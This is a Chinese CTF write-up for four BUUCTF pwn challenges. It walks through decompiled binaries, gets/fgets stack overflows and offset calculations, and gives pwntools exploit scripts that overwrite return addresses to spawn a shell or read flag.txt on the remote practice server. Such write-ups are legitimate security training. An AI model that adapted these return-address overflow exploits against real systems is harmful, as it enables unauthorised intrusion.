test_your_nc
签到题,直接运行获得shell
int __cdecl main(int argc, const char **argv, const char **envp)
{
system("/bin/sh");
return 0;
}
rip
gets溢出点,程序是64位的,计算偏移量是23,将返回地址跳转到fun函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
这题比较奇怪在于,返回地址跳转到0x401186,在本地可以执行正常shell但是远程上不行,在远程要返回到0x40118A,才能执行正常的shell
int fun()
{
return system("/bin/sh");
}
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; "/bin/sh"
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn
exp
from pwn import *
p = remote('node3.buuoj.cn', 26746)
p.sendline('a'* (0xf+8) + p64(0x40118A))
p.interactive()
warmup_csaw_2016
IDA打开发现sprintf函数以为是格式化字符串,不然,还是通过下面gets栈溢出
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}
sub_40060D 点进去发现是get flag 函数,通过pattern找到偏移量是64,直接跳转过来得到shell
int sub_40060D()
{
return system("cat flag.txt");
}
exp
from pwn import *
p = remote('node3.buuoj.cn', 28055)
p.sendline('a'* 64 +'AAAAAAAA'+ p64(0x040060D))
p.interactive()
pwn1_sctf_2016
通过IDA可以发现main,vuln,get_flag 三个函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
输入的内容I替换you
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}
跳转函数,执行此函数获取flag
int get_flag()
{
return system("cat flag.txt");
}
关键是vuln函数
输入内容s申请空间是3Ch(60),fgets(&s, 32, edata); s只接收32字节,无法达到溢出要求,但是题目中会将I替换you,这样只需要20个I就能达到溢出条件。
exp
from pwn import *
p = remote('node3.buuoj.cn', 26639)
p.sendline('I'*20 + 'aaaa' + p32(0x08048F0D))
p.interactive()








网友评论